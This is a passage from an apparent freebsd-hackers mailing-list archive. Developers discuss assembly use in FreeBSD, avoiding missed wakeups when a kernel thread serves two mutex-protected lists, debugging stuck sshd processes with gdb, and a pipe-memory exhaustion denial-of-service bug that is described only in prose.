FreeBSD? Message-ID: <20140408022916.GB77004@jerrymc.net> References: <14679.1396898970@critter.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <14679.1396898970@critter.freebsd.dk> User-Agent: Mutt/1.4.2.3i Cc: "freebsd-hackers@freebsd.org" , Jorge Luis Carvalho Santos X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 02:41:13 -0000 On Mon, Apr 07, 2014 at 07:29:30PM +0000, Poul-Henning Kamp wrote: > In message , > Jorge Luis Carvalho Santos writes: > > >According to the book "Complete and Total C" by Herbert Schildt, > >the general rule is not to use Assembly because it creates too many > >problems. > > Don't feed the troll. > It was a slow day - stalling on working on some hateful paperwork. ////jerry > -- > Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 > phk@FreeBSD.ORG | TCP/IP since RFC 956 > FreeBSD committer | BSD since 4.3-tahoe > Never attribute to malice what can adequately be explained by incompetence. > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 02:44:26 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0F513BFA for ; Tue, 8 Apr 2014 02:44:26 +0000 (UTC) Received: from alogt.com (alogt.com [69.36.191.58]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DD349163B for ; Tue, 8 Apr 2014 02:44:25 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=alogt.com; s=default; h=Content-Transfer-Encoding:Content-Type:MIME-Version:References:In-Reply-To:Message-ID:Subject:Cc:To:From:Date; bh=R/ebgF+ekgp1aXxYSVq83znc99SEsiWsrAp8hLtuYks=; b=xV2JNNqW6mE6gt9ht3cZZfEyi8Wna8ufBYfHBOUxeixMtrVklLDRUJAHR6ZNakrpOxBxmuvXTvpD7eQSiGqClakd6OSj8x4WNe1Wg3zH/4m19IjtVGic9mg6EFCUjxJ7YEHGI0IXG+qda4Cy4zr1609sr9TOuzedLT4k0LEv9RI=; Received: from [182.55.101.96] (port=53079 helo=X220.alogt.com) by sl-508-2.slc.westdc.net with esmtpsa (SSLv3:DHE-RSA-AES128-SHA:128) (Exim 4.82) (envelope-from ) id 1WXM1Q-002ot1-U8; Mon, 07 Apr 2014 20:44:25 -0600 Date: Tue, 8 Apr 2014 10:44:22 +0800 From: Erich Dollansky To: Jorge Luis Carvalho Santos Subject: Re: Assembly continues to be used in the development of FreeBSD? Message-ID: <20140408104422.73037714@X220.alogt.com> In-Reply-To: References: X-Mailer: Claws Mail 3.9.3 (GTK+ 2.24.22; amd64-portbld-freebsd10.0) MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - sl-508-2.slc.westdc.net X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - alogt.com X-Get-Message-Sender-Via: sl-508-2.slc.westdc.net: authenticated_id: erichsfreebsdlist@alogt.com X-Source: X-Source-Args: X-Source-Dir: Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 02:44:26 -0000 Hi, On Mon, 7 Apr 2014 21:16:50 +0300 Jorge Luis Carvalho Santos wrote: > According to the book "Complete and Total C" by Herbert Schildt, the > general rule is not to use Assembly because it creates too many > problems. I would say that this is wrong. The only reason for me not to use assemblers is the portability. Proper written C code can be compiled on x86, ARM, SPARC, POWER or Itanium and still results in a usable program. Assembler programs are written for a single CPU type. I might be even a problem to switch between 32 and 64 bits on an x86 CPU. Erich _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers To > unsubscribe, send any mail to > "freebsd-hackers-unsubscribe@freebsd.org" From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 06:34:36 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DC314E60 for ; Tue, 8 Apr 2014 06:34:36 +0000 (UTC) Received: from mail-ee0-x235.google.com (mail-ee0-x235.google.com [IPv6:2a00:1450:4013:c00::235]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 74BBB1958 for ; Tue, 8 Apr 2014 06:34:36 +0000 (UTC) Received: by mail-ee0-f53.google.com with SMTP id b57so262602eek.12 for ; Mon, 07 Apr 2014 23:34:33 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=sender:from:content-type:content-transfer-encoding:subject:date :message-id:to:mime-version; bh=iHc3Ume0afyLGJyJbVqNpQFocEeUfPBz8iPe2dIHmRs=; b=ZecZLviFN3KFSFMUr5++v34sFz3jhBO8G3YBIYaDGjHi08pScnyoMUGn1v5d04eOrZ DWmZCs4EFruk6nyva5XhIRgpq5FkS/jv6ga81MNtivcOKm5/wj7Jhgj/z5CF8oZ7LeZP zoHDWA/F78MKcFpVRR2AvroXFaPZHVHnqBy+7xyg1ahfF0NKZCqdI6IviLDYEa7aC2nl BVWYJtpbBQZoZ9p7v9Mx9rxFHVVH0NAXuFRLoyHS7fgp4nZypIdlFti0otlSlxtQ+Xfy NM8SSmy4iAnzIO9yjswe7MORgc6gdVYrEU7YkcFKNi7YGnu4Em28tyNmKW7tHOCpJ0JU 56+A== X-Received: by 10.14.99.68 with SMTP id w44mr205474eef.82.1396938873853; Mon, 07 Apr 2014 23:34:33 -0700 (PDT) Received: from strashydlo.home (adbf56.neoplus.adsl.tpnet.pl. [79.184.5.56]) by mx.google.com with ESMTPSA id u46sm2577414eel.1.2014.04.07.23.34.33 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 07 Apr 2014 23:34:33 -0700 (PDT) Sender: =?UTF-8?Q?Edward_Tomasz_Napiera=C5=82a?= From: =?iso-8859-2?Q?Edward_Tomasz_Napiera=B3a?= Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Multiple locks and missing wakeup. Date: Tue, 8 Apr 2014 08:34:30 +0200 Message-Id: <0D69A6A8-43D1-41FB-8C2D-00F5CAD9C86E@FreeBSD.org> To: hackers@freebsd.org Mime-Version: 1.0 (Apple Message framework v1283) X-Mailer: Apple Mail (2.1283) X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 06:34:36 -0000 Let's say I have a kernel thread processing elements from a queue, sleeping until there is work to do; something like this: mtx_lock(&mtx1); for (;;) { while (!LIST_EMPTY(&list1)) { elt = LIST_FIRST(&list1); do_stuff(elt); LIST_REMOVE(&list1, elt); } sleep(&list1, &mtx1); } mtx_unlock(&mtx1); Now, is there some way to make it work with two lists, protected by different mutexes? The mutex part is crucial here; the whole point of this is to reduce lock contention on one of the lists. The following code would result in a missing wakeup: mtx_lock(&mtx1); for (;;) { while (!LIST_EMPTY(&list1)) { elt = LIST_FIRST(&list1); do_stuff(elt); LIST_REMOVE(&list1, elt); } mtx_lock(&mtx2); while (!LIST_EMPTY(&list2)) { elt = LIST_FIRST(&list2); do_other_stuff(elt); LIST_REMOVE(&list2, elt); } mtx_unlock(&mtx2); sleep(&list1, &mtx1); } mtx_unlock(&mtx1); From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 08:04:56 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id ACAF6E9A; Tue, 8 Apr 2014 08:04:56 +0000 (UTC) Received: from mail-qa0-x22d.google.com (mail-qa0-x22d.google.com [IPv6:2607:f8b0:400d:c00::22d]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 5A617122B; Tue, 8 Apr 2014 08:04:56 +0000 (UTC) Received: by mail-qa0-f45.google.com with SMTP id cm18so518146qab.32 for ; Tue, 08 Apr 2014 01:04:55 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:sender:in-reply-to:references:date:message-id:subject :from:to:cc:content-type:content-transfer-encoding; bh=HJBAR1d2g1JjTuJaBepT7RjYzR4Ic52IIGkwt3eZNsU=; b=DalebWcauR5086Yoo3t+v0zIa5JGlBiiDKJKmCUdJm0tQP0rCl3omwAmdGP0TTuFWR uA33Dfy1aA7ynYzpadjA8I0nbso6zUZtwKBj6zqmVnJHCSoykm+pOiUpBgkKSzcs8hTb Ki1h3ttQHEr3LMSMTOQICH0mBKVYLH2pTZPfO8dzYO5gwHdz7ru41zVFj8e7pvP8/6BR gUV69HVhXRHib5RLqWrN+Wi1+LQy8YE4yD2kdWMAIcYqVZof37NmMVwwM5n/QUREFpWj K9pA+j1Z+n//BL7sdtAbQ3rqAx+FC/TkuHasojrYOhc6yR95u0IuzvW6/Wvhrri8sbwN eq0A== MIME-Version: 1.0 X-Received: by 10.140.22.197 with SMTP id 63mr2455914qgn.4.1396944295561; Tue, 08 Apr 2014 01:04:55 -0700 (PDT) Sender: adrian.chadd@gmail.com Received: by 10.224.50.206 with HTTP; Tue, 8 Apr 2014 01:04:55 -0700 (PDT) In-Reply-To: <0D69A6A8-43D1-41FB-8C2D-00F5CAD9C86E@FreeBSD.org> References: <0D69A6A8-43D1-41FB-8C2D-00F5CAD9C86E@FreeBSD.org> Date: Tue, 8 Apr 2014 01:04:55 -0700 X-Google-Sender-Auth: KJUbs4_hBdZOFw2tquVimEpjmIY Message-ID: Subject: Re: Multiple locks and missing wakeup. From: Adrian Chadd To: =?ISO-8859-2?Q?Edward_Tomasz_Napiera=B3a?= Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Cc: "freebsd-hackers@freebsd.org" X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 08:04:56 -0000 If you don't need the lock over the do_stuff, then: for(;;) { list_t lcl; init(lcl); lock; move list1 to lcl; unlock; while (! list_empty(lcl)) do_crap_on_lcl_head(); } -a On 7 April 2014 23:34, Edward Tomasz Napiera=C5=82a wro= te: > Let's say I have a kernel thread processing elements from a queue, > sleeping until there is work to do; something like this: > > mtx_lock(&mtx1); > for (;;) { > while (!LIST_EMPTY(&list1)) { > elt =3D LIST_FIRST(&list1); > do_stuff(elt); > LIST_REMOVE(&list1, elt); > } > sleep(&list1, &mtx1); > } > mtx_unlock(&mtx1); > > Now, is there some way to make it work with two lists, protected > by different mutexes? The mutex part is crucial here; the whole > point of this is to reduce lock contention on one of the lists. The > following code would result in a missing wakeup: > > mtx_lock(&mtx1); > for (;;) { > while (!LIST_EMPTY(&list1)) { > elt =3D LIST_FIRST(&list1); > do_stuff(elt); > LIST_REMOVE(&list1, elt); > } > > mtx_lock(&mtx2); > while (!LIST_EMPTY(&list2)) { > elt =3D LIST_FIRST(&list2); > do_other_stuff(elt); > LIST_REMOVE(&list2, elt); > } > mtx_unlock(&mtx2); > > sleep(&list1, &mtx1); > } > mtx_unlock(&mtx1); > > _______________________________________________ > freebsd-hackers@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-hackers > To unsubscribe, send any mail to "freebsd-hackers-unsubscribe@freebsd.org= " From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 08:52:03 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 951868F1; Tue, 8 Apr 2014 08:52:03 +0000 (UTC) Received: from kib.kiev.ua (kib.kiev.ua [IPv6:2001:470:d5e7:1::1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 1FF491692; Tue, 8 Apr 2014 08:52:02 +0000 (UTC) Received: from tom.home (kostik@localhost [127.0.0.1]) by kib.kiev.ua (8.14.8/8.14.8) with ESMTP id s388puul011878; Tue, 8 Apr 2014 11:51:56 +0300 (EEST) (envelope-from kostikbel@gmail.com) DKIM-Filter: OpenDKIM Filter v2.8.3 kib.kiev.ua s388puul011878 Received: (from kostik@localhost) by tom.home (8.14.8/8.14.8/Submit) id s388puBl011877; Tue, 8 Apr 2014 11:51:56 +0300 (EEST) (envelope-from kostikbel@gmail.com) X-Authentication-Warning: tom.home: kostik set sender to kostikbel@gmail.com using -f Date: Tue, 8 Apr 2014 11:51:56 +0300 From: Konstantin Belousov To: Edward Tomasz Napiera?a Subject: Re: Multiple locks and missing wakeup. Message-ID: <20140408085156.GR21331@kib.kiev.ua> References: <0D69A6A8-43D1-41FB-8C2D-00F5CAD9C86E@FreeBSD.org> MIME-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="1trTh7oBgAEAEHeG" Content-Disposition: inline In-Reply-To: <0D69A6A8-43D1-41FB-8C2D-00F5CAD9C86E@FreeBSD.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-Spam-Status: No, score=-2.0 required=5.0 tests=ALL_TRUSTED,BAYES_00, DKIM_ADSP_CUSTOM_MED,FREEMAIL_FROM,NML_ADSP_CUSTOM_MED autolearn=no autolearn_force=no version=3.4.0 X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on tom.home Cc: hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 08:52:03 -0000 --1trTh7oBgAEAEHeG Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Apr 08, 2014 at 08:34:30AM +0200, Edward Tomasz Napiera?a wrote: > Let's say I have a kernel thread processing elements from a queue, > sleeping until there is work to do; something like this: >=20 > mtx_lock(&mtx1); > for (;;) { > while (!LIST_EMPTY(&list1)) { > elt =3D LIST_FIRST(&list1); > do_stuff(elt); > LIST_REMOVE(&list1, elt); > } > sleep(&list1, &mtx1); > } > mtx_unlock(&mtx1); >=20 > Now, is there some way to make it work with two lists, protected > by different mutexes? The mutex part is crucial here; the whole > point of this is to reduce lock contention on one of the lists. The > following code would result in a missing wakeup: >=20 > mtx_lock(&mtx1); > for (;;) { > while (!LIST_EMPTY(&list1)) { > elt =3D LIST_FIRST(&list1); > do_stuff(elt); > LIST_REMOVE(&list1, elt); > } mtx_unlock(&mtx1);, right ? >=20 > mtx_lock(&mtx2); > while (!LIST_EMPTY(&list2)) { > elt =3D LIST_FIRST(&list2); > do_other_stuff(elt); > LIST_REMOVE(&list2, elt); > } > mtx_unlock(&mtx2); >=20 > sleep(&list1, &mtx1); > } > mtx_unlock(&mtx1); You should clarify your intent. Do you need to sleep waiting for the work items to appear for list2 ? What wakeup do you miss in the pseudo-code you posted ? If you do need the notification for the list2, use &list1 as the wakeup channel for it. --1trTh7oBgAEAEHeG Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTQ7irAAoJEJDCuSvBvK1BzGMQAJLa2yN9HyUS2T9buJCNI7Q6 j6Z2H5z/C/9y83XgzDYC+MTwwK5IbaCXsZRELfv+xwHfKXRLIVH2ZNmzN/+dYYWb TlF4mYRR5/wwczKpYZGPAxAkha2esIIEiq9E9wdafnbUfxLfomJMJzxO6ZgGbCae 1X6iohmB3fRYEg+fLhVIxbgQABvLMmxTeQ6VsIqGfjWA8Av/WnYTcRPIOadnVaTz F0wk8TCQPyNkvcaCP/NWmN1PFbuKDB9Sc5P/XuNkDlfsmZS/vwjc2oaCxRUipRrf xdBspepKazH4gtk4MKyLJ6Ndl+4DJvpDjEZjcKpsVhs4IbayfrF5GxrjS/8IfrKp X4ie0MUYsHN5nwJN38Ri4LqXDa3BtZo+6upOeARYRX4kuJ7xXMYdtljtUUqxwMzP R9+TWCxUh/CagvTT1KKZnrZoHTwB8u5BQWo8J5meKbm4ip0/bHsNxheJdEuf8/1P pH0gLK5vnr+7bQeA8LwNM4PBTzfmoURY5mwGfO+QSLSgOv7teJtajR+qGV+IlgdG YeuMQ7E9oEMLpPhSGVfmSQoaLySsrU+yn5CmbAqYzMa6UX/r3usRvXPnZikz4AvS MWspLEGpbHwO8r2n5mu5DkgVkxc8AFpWxN7jyf4G7isW3T4iec7p0qzRYvwWVImL tsdbc57H2091q08IAkl5 =1ryS -----END PGP SIGNATURE----- --1trTh7oBgAEAEHeG-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 09:04:27 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 3AACDDC1; Tue, 8 Apr 2014 09:04:27 +0000 (UTC) Received: from mail.tdx.com (mail.tdx.com [62.13.128.18]) by mx1.freebsd.org (Postfix) with ESMTP id D436017B1; Tue, 8 Apr 2014 09:04:26 +0000 (UTC) Received: from Mail-PC.tdx.co.uk (storm.tdx.co.uk [62.13.130.251]) (authenticated bits=0) by mail.tdx.com (8.14.3/8.14.3/) with ESMTP id s3894O0p023381 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 8 Apr 2014 10:04:25 +0100 (BST) Date: Tue, 08 Apr 2014 10:04:24 +0100 From: Karl Pielorz To: John Baldwin Subject: Re: Stuck CLOSED sockets / sshd / zombies... Message-ID: <9647C5438B5CD4A3058AB1A2@Mail-PC.tdx.co.uk> In-Reply-To: <201404071148.10157.jhb@freebsd.org> References: <3FE645E9723756F22EF901AE@Mail-PC.tdx.co.uk> <201404041613.09808.jhb@freebsd.org> <2C5B099DE2229F0E8D82D8C8@Mail-PC.tdx.co.uk> <201404071148.10157.jhb@freebsd.org> X-Mailer: Mulberry/4.0.8 (Win32) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 09:04:27 -0000 --On 07 April 2014 11:48 -0400 John Baldwin wrote: > Ok, do you have a matching /usr/src on the boxes in question? If so, > please do this: > > cd /usr/src/lib/libc > make DEBUG_FLAGS=-g all install That just installs stuff, not rebuild it right? (Looks to have installed non-stripped versions?). > Then re-run the scan to get a stuck sshd. Once that happens, please > attach to the top-most stock sshd (the one in "urdlck") with gdb > (gdb /usr/sbin/sshd ) and run 'bt' and reply with the output. Ok, that gives: " (gdb) bt #0 0x00000008038ea89c in _umtx_op_err () from /lib/libthr.so.3 #1 0x00000008038e104f in __thr_rwlock_rdlock () from /lib/libthr.so.3 #2 0x00000008038e821c in _thr_rtld_init () from /lib/libthr.so.3 #3 0x000000080064f9a2 in _rtld_get_stack_prot () from /libexec/ld-elf.so.1 #4 0x00000008006498c9 in r_debug_state () from /libexec/ld-elf.so.1 #5 0x00000008006470cd in .text () from /libexec/ld-elf.so.1 #6 0x0000000000000246 in ?? () #7 0x0000000000000000 in ?? () " -Karl From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 10:59:36 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id DCF13712 for ; Tue, 8 Apr 2014 10:59:36 +0000 (UTC) Received: from nm9-vm2.bullet.mail.ir2.yahoo.com (nm9-vm2.bullet.mail.ir2.yahoo.com [212.82.96.145]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 1855C125A for ; Tue, 8 Apr 2014 10:59:35 +0000 (UTC) Received: from [212.82.98.127] by nm9.bullet.mail.ir2.yahoo.com with NNFMP; 08 Apr 2014 10:59:33 -0000 Received: from [46.228.39.92] by tm20.bullet.mail.ir2.yahoo.com with NNFMP; 08 Apr 2014 10:59:33 -0000 Received: from [127.0.0.1] by smtp129.mail.ir2.yahoo.com with NNFMP; 08 Apr 2014 10:59:33 -0000 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=yahoo.es; s=s1024; t=1396954773; bh=q7vPSnM7OlmMtt1DofpxeZqB0T2gexKos59oSM20KXQ=; h=X-Yahoo-Newman-Id:X-Yahoo-Newman-Property:X-YMail-OSG:X-Yahoo-SMTP:X-Rocket-Received:Date:From:To:Subject:Message-Id:In-Reply-To:References:X-Mailer:Disposition-Notification-To:Mime-Version:Content-Type:Content-Transfer-Encoding; b=WnDjbakqaTbEDIkBw2ejy6gmvCVQKKL7yNBPpSFo+zLsHM/n+U+XJ+p1+U2ZUrQqYCx0sFzswd79kYTVTD0gb/BcsAkCLWVAwRAYvznVWVdWOpdlp06Cb8ukJdsv7bMY5PxP7kecCXl5MFgXAgxuQ4jPljYL9u+vnAAfg45/l2U= X-Yahoo-Newman-Id: 795383.83109.bm@smtp129.mail.ir2.yahoo.com X-Yahoo-Newman-Property: ymail-3 X-YMail-OSG: LmGDN5QVM1kpMFUmS67ky3e8zQQhVlAiPHytrWi8YVK6vqu cIBB0ghVOge6x_dzvPd5xnY9tADVLqbmhv.Y5cjHS7G6pkcEmc9WMjqqIa_J BDYycqWVW8Fwe9uLnQtBYJOPBk7aDGUPqUkBXpFV4t4dybZNQNCzYfaxt1Cn BvGO1jvkzz6EcjWT02xie574rJRMQeLuCFtw4rY8cLIcGALxeWunKgpBjKD. QVJYH39RWYJNX57rY1yZtJf99xhvlMEglpLT1F3NwrhK4aUpzbIK9S2XaaqH ZuNg3v.ovmry.OGry2.5hbPKJVm7fQSwTT99bLxxzI.xuTTl4umYCB6noAww SJNNQfTLl5m7fafmAvEW3M2Veb4nSMi8VlYSyp2CGsjb50GRs_mIVbUZnr4N zAxPIlFVRTx0YW7grFKLxJgbon5U84DDUd9NzR3PRD1X9vzdluZdSW.y1XT9 r.eWe_qmJLr6.7oGerd6YZv5NKAo9TKgnooqhQCwJHD6tnI3STIQZsoMe X-Yahoo-SMTP: mX392iiswBAeJNdO_s.EW62LZDJR X-Rocket-Received: from camibar.emorras.eu (emorrasg@85.219.45.142 with plain [63.250.193.228]) by smtp129.mail.ir2.yahoo.com with SMTP; 08 Apr 2014 10:59:33 +0000 UTC Date: Tue, 8 Apr 2014 13:02:06 +0200 From: Eduardo Morras To: freebsd-hackers@freebsd.org Subject: Re: pipe() resource exhaustion Message-Id: <20140408130206.e75f3bf6c6df28b6e4839e70@yahoo.es> In-Reply-To: References: X-Mailer: Sylpheed 3.3.1 (GTK+ 2.24.22; amd64-portbld-freebsd9.2) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 10:59:36 -0000 On Mon, 7 Apr 2014 07:25:22 -0500 Mark Felder wrote: > On 2014-04-07 06:02, Ivan Voras wrote: > > Hello, > > > > Last time I mentioned this it didn't get any attention, so I'll try > > again. By accident (via a buggy synergy server process) I found > > that a simple userland process can exhaust kernel pipe memory > > (kern.ipc.pipekva > > sysctl) which as a consequence has that new processes which use pipe > > cannot be started, which includes "su", by which an administrator > > could kill such a process. > > > > That's a pretty painful local denial of service :( Yes it is. Perhaps there should be 8% fd reserved for root, su and setuid family syscalls like in filesystem space or postgresql reserved connections for db admin. --- --- Eduardo Morras From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 8 12:12:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 93DEB4E5 for ; Tue, 8 Apr 2014 12:12:33 +0000 (UTC) Received: from mail-ee0-x22e.google.com (mail-ee0-x22e.google.com [IPv6:2a00:1450:4013:c00::22e]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id 281291955 for ; Tue, 8 Apr 2014 12:12:33 +0000 (UTC) Received: by mail-ee0-f46.google.com with SMTP id t10so599689eei.33 for ; Tue, 08 Apr 2014 05:12:31 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mail-followup-to:references :mime-version:content-type:content-disposition:in-reply-to :user-agent; bh=/OkMlT/JvT+KmuHGsTPLmnKNRJeWjudDAVmjMomemGw=; b=N7jeSwLWlV77q2qJE+rhIz6MrglmtXMKfuHr0+pKiyy8PK+q8quCThVr1MmzCQo3tK 6ujrg9BotVzey4OPz2k2ztKP82fc+BFzdA3qhjKh8pyO8sbjP4H2SzAelaenkg1wjkgS kkWewzXrnZCLBrVpNYc71cJLLsyxS5RERnY06EkxPBo34BLJewE9r+X2tGnmh81tZ6jx VYN7mt+rqr6/y/qPjsw9aPmuRmBo6QD84bjMkpNsFl1a+B7Vuk92OIAOgpV8aGdw8OWU wtFtfLFUIbg+Q+eRBHWF440x/3WrZadlZJUj7SPDn4CObWeKAfil6kOVU832dMm7PccF HEmw== X-Received: by 10.14.184.66 with SMTP id r42mr1850552eem.84.1396959151429; Tue, 08 Apr 2014 05:12:31 -0700 (PDT) Received: from dft-labs.eu (n1x0n-1-pt.tunnel.tserv5.lon1.ipv6.he.net. [2001:470:1f08:1f7::2]) by mx.google.com with ESMTPSA id q49sm4256946eem.34.2014.04.08.05.12.29 for (version=TLSv1.2 cipher=RC4-SHA bits=128/128); Tue, 08 Apr 2014 05:12:29 -0700 (PDT) Date: Tue, 8 Apr 2014 14:12:22 +0200 From: Mateusz Guzik To: Eduardo Morras Subject: Re: pipe() resource exhaustion Message-ID: <20140408121222.GB30326@dft-labs.eu> Mail-Followup-To: Mateusz Guzik , Eduardo Morras , freebsd-hackers@freebsd.org References: <20140408130206.e75f3bf6c6df28b6e4839e70@yahoo.es> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <20140408130206.e75f3bf6c6df28b6e4839e70@yahoo.es> User-Agent: Mutt/1.5.21 (2010-09-15) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 08 Apr 2014 12:12:33 -0000 On Tue, Apr 08, 2014 at 01:02:06PM +0200, Eduardo Morras wrote: > On Mon, 7 Apr 2014 07:25:22 -0500 > Mark Felder wrote: > > > On 2014-04-07 06:02, Ivan Voras wrote: > > > Hello, > > > > > > Last time I mentioned this it didn't get any attention, so I'll try > > > again. By accident (via a buggy synergy server process) I found > > > that a simple userland process can exhaust kernel pipe memory > > > (kern.ipc.pipekva > > > sysctl) which as a consequence has that new processes which use pipe > > > cannot be started, which includes "su", by which an administrator > > > could kill such a process. > > > > > > > That's a pretty painful local denial of service :( > > Yes it is. Perhaps 